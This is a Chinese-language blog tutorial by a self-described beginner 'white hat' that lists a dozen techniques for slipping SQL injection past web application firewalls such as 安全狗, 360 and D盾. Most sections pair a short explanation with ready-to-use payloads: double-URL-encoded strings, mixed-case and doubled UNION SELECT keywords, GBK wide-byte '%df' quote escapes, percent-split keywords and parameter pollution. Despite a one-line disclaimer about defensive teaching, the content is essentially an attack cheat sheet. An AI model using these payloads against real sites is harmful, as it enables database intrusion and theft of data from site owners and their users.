作者:小刚
一位苦于信息安全的萌新小白帽,记得关注给个赞,谢谢
本实验仅用于信息防御教学,切勿用于它用途
WAF绕过大法
- 绕过WAF
- 单一绕过方式
- 1,一次URL编码绕过
- 2,二次URL编码绕过
- 3,其他编码
- 4,空格过滤
- 5,内联注释绕过
- 6,大小写绕过
- 7,双写关键字绕过
- 8,宽字节绕过
- 9,添加%绕过
- 10,cookie注入
- 11,请求方式差异规则松懈性绕过
- 12,复参数绕过
- 总结
绕过WAF
在我们进行sql注入的时候,通常会蹦跶出一些waf阻止我们的注入。例如安全狗,360,D盾等乱七八糟的WAF,很烦。
网上WAF种类挺多的,有软件WAF,硬件WAF,云WAF和一些自定义的WAF。
其实waf绕过的方法有很多,主要是了解其中的原理,最后的绕过waf还是要通过组合拳的方式进行重拳出击。话不多说,直接上我最近收集的各种waf绕过大全。
单一绕过方式
1,一次URL编码绕过
许多WAF就是空壳,通过一次URL编码就可以绕过。
给个各种编码的网站:编码在线转换
id = 1' and 1=1 --+
id%20%3D%201%27%20and%201%3D1%20--%2B
第一个是无编码,第二个是编码后(后面都通过此格式表达)
2,二次URL编码绕过
有的waf会对参数进行一次解码后进行检测保护,所以通过二次URL编码即可绕过此防护方式。
id = 1' and 1=1 --+
id%2520%253D%25201%2527%2520and%25201%253D1%2520--%252B
无非就是对一次编码后的%再次转化成%25,就是二次编码。。。。。
3,其他编码
同样的原理,可以通过其他不同的编码方式进行绕过,Unicode,ASCii,Hex等等。但前提是由此编码的解码过程。
4,空格过滤
有的WAF会对参数中的空格进行过滤,可以通过+号或者空白符进行绕过过滤。
各种数据库的空白符不同,这里给出几个通用的%0A,0C,0D,09,20。
有的数据库的注释可以当空格使用。
id = 1 and 1=1 --+
id+=+1+and+1=1+--+
id%0A=%0A1'%0Aand%0A1=1%0A--%0A
5,内联注释绕过
在mySQL中是多行注释,也可以当空格使用,但在其中加入!会将注释语句执行
id=2 and 1=1 and sleep(3) union......
id=2and1=1andsleep(3)union......
id=1 and 1=1 and union...
6,大小写绕过
有的WAF会对关键字进行过滤处理,union,select,sleep,and,or等。但通过大小写混写就能绕过此WAF
id=1 and 1=1 union select 11,22
id=1 AnD 1=1 uNiOn SelECT 11,22
7,双写关键字绕过
有的waf会对关键字进行一次替换处理,就可以通过双写方式绕过
id=1 union select 11,22--+
id=1 ununionion seselectlect 11,22--+
id=1 UnIunionoN SeLselecteCT 11,22--+
8,宽字节绕过
前提是使用GBK编码,并启用的魔术引号,
是因为对单引号进行转义处理,添加一个%5C(也就是斜杠/),通过在前面添加%df与转义字符%5C构造成一个汉字%df%5C。从而绕过waf。
id=1' and 1=1--+
id=1%df' and 1=1--+
9,添加%绕过
在敏感关键字中添加%或者/,后端会对%或/ 进行一次过滤,从而构造出SQL语句。例如un%ion,se/lect等
id=1 and sleep(3) union select 11,22--+
id=1 and sle%ep(3) uni/on se%lect 11,22--+
10,cookie注入
Cookie注入是有的网站会读取用户的cookie,如果过滤不当也会绕过waf造成数据库注入。
cookie只需要把前面cookie闭合,后面的语句正常构造,就能造成cookie绕过waf
11,请求方式差异规则松懈性绕过
有的WAF会同时接收GET和POST的请求,但在GET请求中增加了过滤规则,没有对POST进行过滤,所以可通过发送POST方法进行绕过。
12,复参数绕过
在提交的URL中给一个参数多次赋了不同的值(?id=1&id=2&id=3),有的WAF在处理的过程中可能只处理前面提交的参数值(id=1),而后端程序在处理的时候可能取的是最后面的值。
?id=1&id=2 and 1=1 and sleep(5) --+
总结
单一绕过方式暂时知道这么多,还有几个,%00截断,二阶SQL注入后续学会了在继续补充。
单一方式看似简单,但绕WAF单一方式还是没用的,需要各种尝试,通过组合拳的方式进行绕过处理。后续会补充点组合拳的方法。